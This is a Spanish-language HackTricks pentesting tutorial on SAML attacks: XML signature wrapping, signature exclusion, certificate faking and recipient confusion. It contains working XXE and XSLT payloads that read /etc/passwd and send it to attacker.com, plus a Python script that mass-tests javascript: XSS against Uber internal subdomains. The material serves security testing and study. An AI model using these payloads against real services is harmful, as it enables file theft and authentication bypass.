hacktricks/pentesting-web/saml-attacks/README.md

317 lines
20 KiB
Markdown
Raw Permalink Normal View History

# SAML Attacks
2023-06-05 18:33:24 +00:00
## SAML Attacks
2023-06-05 18:33:24 +00:00
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 18:33:24 +00:00
<details>
2023-06-05 18:33:24 +00:00
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
2023-06-05 18:33:24 +00:00
</details>
{% endhint %}
2023-06-05 18:33:24 +00:00
## Información Básica
2023-06-05 18:33:24 +00:00
{% content-ref url="saml-basics.md" %}
[saml-basics.md](saml-basics.md)
{% endcontent-ref %}
## Herramienta
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Una herramienta que puede tomar una URL o lista de URL y devuelve la URL de consumo SAML.
2023-06-05 18:33:24 +00:00
## Viaje de ida y vuelta de XML
2023-06-05 18:33:24 +00:00
En XML, la parte firmada del XML se guarda en memoria, luego se realiza alguna codificación/decodificación y se verifica la firma. Idealmente, esa codificación/decodificación no debería cambiar los datos, pero basado en ese escenario, **los datos que se están verificando y los datos originales podrían no ser los mismos**.
2023-06-05 18:33:24 +00:00
Por ejemplo, revisa el siguiente código:
2023-06-05 18:33:24 +00:00
```ruby
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
2023-06-05 18:33:24 +00:00
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```
Ejecutar el programa contra REXML 3.2.4 o anterior resultaría en la siguiente salida en su lugar:
2023-06-05 18:33:24 +00:00
```
First child in original doc: Y
First child after round-trip: Z
```
This is how REXML saw the original XML document from the program above:
2023-06-05 18:33:24 +00:00
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../.gitbook/assets/image (1001).png>)
2023-06-05 18:33:24 +00:00
And this is how it saw it after a round of parsing and serialization:
2023-06-05 18:33:24 +00:00
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../.gitbook/assets/image (445).png>)
2023-06-05 18:33:24 +00:00
For more information about the vulnerability and how to abuse it:
2023-06-05 18:33:24 +00:00
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
## XML Signature Wrapping Attacks
2023-06-05 18:33:24 +00:00
En **XML Signature Wrapping attacks (XSW)**, los adversarios explotan una vulnerabilidad que surge cuando los documentos XML se procesan a través de dos fases distintas: **validación de firma** y **invocación de función**. Estos ataques implican alterar la estructura del documento XML. Específicamente, el atacante **inyecta elementos falsificados** que no comprometen la validez de la Firma XML. Esta manipulación tiene como objetivo crear una discrepancia entre los elementos analizados por la **lógica de la aplicación** y aquellos verificados por el **módulo de verificación de firma**. Como resultado, mientras que la Firma XML sigue siendo técnicamente válida y pasa la verificación, la lógica de la aplicación procesa los **elementos fraudulentos**. En consecuencia, el atacante elude efectivamente la **protección de integridad** y la **autenticación de origen** de la Firma XML, permitiendo la **inyección de contenido arbitrario** sin detección.
2023-06-05 18:33:24 +00:00
Los siguientes ataques se basan en [**esta publicación de blog**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **y** [**este documento**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Así que revisa esos para más detalles.
2023-06-05 18:33:24 +00:00
### XSW #1
* **Estrategia**: Se agrega un nuevo elemento raíz que contiene la firma.
* **Implicación**: El validador puede confundirse entre el legítimo "Response -> Assertion -> Subject" y el "malvado nuevo Response -> Assertion -> Subject" del atacante, lo que lleva a problemas de integridad de datos.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../.gitbook/assets/image (506).png>)
2023-06-05 18:33:24 +00:00
### XSW #2
* **Diferencia de XSW #1**: Utiliza una firma separada en lugar de una firma envolvente.
* **Implicación**: La estructura "malvada", similar a XSW #1, tiene como objetivo engañar a la lógica empresarial después de la verificación de integridad.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../.gitbook/assets/image (466).png>)
2023-06-05 18:33:24 +00:00
### XSW #3
* **Estrategia**: Se crea una Assertion malvada al mismo nivel jerárquico que la assertion original.
* **Implicación**: Tiene la intención de confundir a la lógica empresarial para que use los datos maliciosos.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../.gitbook/assets/image (120).png>)
2023-06-05 18:33:24 +00:00
### XSW #4
* **Diferencia de XSW #3**: La Assertion original se convierte en un hijo de la Assertion duplicada (malvada).
* **Implicación**: Similar a XSW #3 pero altera la estructura XML de manera más agresiva.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../.gitbook/assets/image (551).png>)
2023-06-05 18:33:24 +00:00
### XSW #5
* **Aspecto Único**: Ni la Firma ni la Assertion original se adhieren a configuraciones estándar (envolvente/envolvente/separada).
* **Implicación**: La Assertion copiada envuelve la Firma, modificando la estructura del documento esperada.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../.gitbook/assets/image (1030).png>)
2023-06-05 18:33:24 +00:00
### XSW #6
* **Estrategia**: Inserción en una ubicación similar a XSW #4 y #5, pero con un giro.
* **Implicación**: La Assertion copiada envuelve la Firma, que luego envuelve la Assertion original, creando una estructura engañosa anidada.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](<../../.gitbook/assets/image (169).png>)
2023-06-05 18:33:24 +00:00
### XSW #7
* **Estrategia**: Se inserta un elemento Extensions con la Assertion copiada como hijo.
* **Implicación**: Esto explota el esquema menos restrictivo del elemento Extensions para eludir las contramedidas de validación de esquema, especialmente en bibliotecas como OpenSAML.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../.gitbook/assets/image (971).png>)
2023-06-05 18:33:24 +00:00
### XSW #8
* **Diferencia de XSW #7**: Utiliza otro elemento XML menos restrictivo para una variante del ataque.
* **Implicación**: La Assertion original se convierte en un hijo del elemento menos restrictivo, invirtiendo la estructura utilizada en XSW #7.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../.gitbook/assets/image (541).png>)
2023-06-05 18:33:24 +00:00
### Tool
2023-06-05 18:33:24 +00:00
Puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para analizar la solicitud, aplicar cualquier ataque XSW que elijas y lanzarlo.
2023-06-05 18:33:24 +00:00
## XXE
Si no sabes qué tipo de ataques son XXE, por favor lee la siguiente página:
2023-06-05 18:33:24 +00:00
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
{% endcontent-ref %}
Las respuestas SAML son **documentos XML desinflados y codificados en base64** y pueden ser susceptibles a ataques de Entidad Externa XML (XXE). Al manipular la estructura XML de la Respuesta SAML, los atacantes pueden intentar explotar vulnerabilidades XXE. Aquí se muestra cómo se puede visualizar tal ataque:
```xml
2023-06-05 18:33:24 +00:00
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
2023-06-05 18:33:24 +00:00
[...]
```
## Tools
2023-06-05 18:33:24 +00:00
También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades XXE y vulnerabilidades SAML.
2023-06-05 18:33:24 +00:00
Consulta también esta charla: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
2023-06-05 18:33:24 +00:00
## XSLT via SAML
2023-06-05 18:33:24 +00:00
Para más información sobre XSLT, ve a:
2023-06-05 18:33:24 +00:00
{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
2023-06-05 18:33:24 +00:00
{% endcontent-ref %}
Las Transformaciones de Lenguaje de Hojas de Estilo Extensibles (XSLT) se pueden usar para transformar documentos XML en varios formatos como HTML, JSON o PDF. Es crucial notar que **las transformaciones XSLT se realizan antes de la verificación de la firma digital**. Esto significa que un ataque puede tener éxito incluso sin una firma válida; una firma autofirmada o inválida es suficiente para proceder.
2023-06-05 18:33:24 +00:00
Aquí puedes encontrar un **POC** para verificar este tipo de vulnerabilidades; en la página de hacktricks mencionada al principio de esta sección puedes encontrar cargas útiles.
```xml
2023-06-05 18:33:24 +00:00
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
2023-06-05 18:33:24 +00:00
</ds:Signature>
```
### Tool
2023-06-05 18:33:24 +00:00
También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades de XSLT.
2023-06-05 18:33:24 +00:00
Consulta también esta charla: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
2023-06-05 18:33:24 +00:00
## Exclusión de Firma XML <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
2023-06-05 18:33:24 +00:00
La **Exclusión de Firma XML** observa el comportamiento de las implementaciones SAML cuando el elemento de Firma no está presente. Si este elemento falta, **la validación de la firma puede no ocurrir**, haciéndolo vulnerable. Es posible probar esto alterando los contenidos que normalmente son verificados por la firma.
2023-06-05 18:33:24 +00:00
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../.gitbook/assets/image (457).png>)
2023-06-05 18:33:24 +00:00
### Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
2023-06-05 18:33:24 +00:00
También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercepta la Respuesta SAML y haz clic en `Remove Signatures`. Al hacerlo, **todos** los elementos de Firma son eliminados.
2023-06-05 18:33:24 +00:00
Con las firmas eliminadas, permite que la solicitud continúe hacia el objetivo. Si la Firma no es requerida por el Servicio
2023-06-05 18:33:24 +00:00
## Falsificación de Certificado <a href="#certificate-faking" id="certificate-faking"></a>
2023-06-05 18:33:24 +00:00
## Falsificación de Certificado
La Falsificación de Certificado es una técnica para probar si un **Proveedor de Servicios (SP) verifica correctamente que un Mensaje SAML está firmado** por un Proveedor de Identidad (IdP) de confianza. Implica usar un \***certificado autofirmado** para firmar la Respuesta o Afirmación SAML, lo que ayuda a evaluar el proceso de validación de confianza entre SP e IdP.
### Cómo Realizar la Falsificación de Certificado
2023-06-05 18:33:24 +00:00
Los siguientes pasos describen el proceso utilizando la extensión de Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e):
2023-06-05 18:33:24 +00:00
1. Intercepta la Respuesta SAML.
2. Si la respuesta contiene una firma, envía el certificado a SAML Raider Certs usando el botón `Send Certificate to SAML Raider Certs`.
3. En la pestaña de Certificados de SAML Raider, selecciona el certificado importado y haz clic en `Save and Self-Sign` para crear un clon autofirmado del certificado original.
4. Regresa a la solicitud interceptada en el Proxy de Burp. Selecciona el nuevo certificado autofirmado del menú desplegable de Firma XML.
5. Elimina cualquier firma existente con el botón `Remove Signatures`.
6. Firma el mensaje o la afirmación con el nuevo certificado usando el botón **`(Re-)Sign Message`** o **`(Re-)Sign Assertion`**, según corresponda.
7. Reenvía el mensaje firmado. La autenticación exitosa indica que el SP acepta mensajes firmados por tu certificado autofirmado, revelando posibles vulnerabilidades en el proceso de validación de los mensajes SAML.
2023-06-05 18:33:24 +00:00
## Confusión de Destinatario de Token / Confusión de Objetivo de Proveedor de Servicios <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
2023-06-05 18:33:24 +00:00
La Confusión de Destinatario de Token y la Confusión de Objetivo de Proveedor de Servicios implican verificar si el **Proveedor de Servicios valida correctamente el destinatario previsto de una respuesta**. En esencia, un Proveedor de Servicios debería rechazar una respuesta de autenticación si estaba destinada a un proveedor diferente. El elemento crítico aquí es el campo **Recipient**, que se encuentra dentro del elemento **SubjectConfirmationData** de una Respuesta SAML. Este campo especifica una URL que indica dónde debe enviarse la Afirmación. Si el destinatario real no coincide con el Proveedor de Servicios previsto, la Afirmación debe considerarse inválida.
2023-06-05 18:33:24 +00:00
#### **Cómo Funciona**
2023-06-05 18:33:24 +00:00
Para que un ataque de Confusión de Destinatario de Token SAML (SAML-TRC) sea factible, deben cumplirse ciertas condiciones. En primer lugar, debe haber una cuenta válida en un Proveedor de Servicios (denominado SP-Legit). En segundo lugar, el Proveedor de Servicios objetivo (SP-Target) debe aceptar tokens del mismo Proveedor de Identidad que sirve a SP-Legit.
2023-06-05 18:33:24 +00:00
El proceso de ataque es sencillo bajo estas condiciones. Se inicia una sesión auténtica con SP-Legit a través del Proveedor de Identidad compartido. La Respuesta SAML del Proveedor de Identidad a SP-Legit es interceptada. Esta Respuesta SAML interceptada, originalmente destinada a SP-Legit, se redirige a SP-Target. El éxito en este ataque se mide por la aceptación de la Afirmación por parte de SP-Target, otorgando acceso a recursos bajo el mismo nombre de cuenta utilizado para SP-Legit.
```python
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
```
## XSS en la funcionalidad de cierre de sesión
2023-06-05 18:33:24 +00:00
La investigación original se puede acceder a través de [este enlace](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
2023-06-05 18:33:24 +00:00
Durante el proceso de fuerza bruta de directorios, se descubrió una página de cierre de sesión en:
2023-06-05 18:33:24 +00:00
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
Al acceder a este enlace, se produjo una redirección a:
2023-06-05 18:33:24 +00:00
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
Esto reveló que el parámetro `base` acepta una URL. Considerando esto, surgió la idea de sustituir la URL por `javascript:alert(123);` en un intento de iniciar un ataque XSS (Cross-Site Scripting).
### Explotación Masiva
2023-06-05 18:33:24 +00:00
[De esta investigación](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
2023-06-05 18:33:24 +00:00
La herramienta [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) se utilizó para analizar subdominios de `uberinternal.com` para dominios que utilizan la misma biblioteca. Posteriormente, se desarrolló un script para apuntar a la página `oidauth/prompt`. Este script prueba XSS (Cross-Site Scripting) ingresando datos y verificando si se reflejan en la salida. En los casos en que la entrada se refleja, el script marca la página como vulnerable.
2023-06-05 18:33:24 +00:00
```python
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
2023-06-05 18:33:24 +00:00
```
## Referencias
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
* [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
2023-06-05 18:33:24 +00:00
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2023-06-05 18:33:24 +00:00
<details>
<summary>Apoya a HackTricks</summary>
2023-06-05 18:33:24 +00:00
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
2023-06-05 18:33:24 +00:00
</details>
{% endhint %}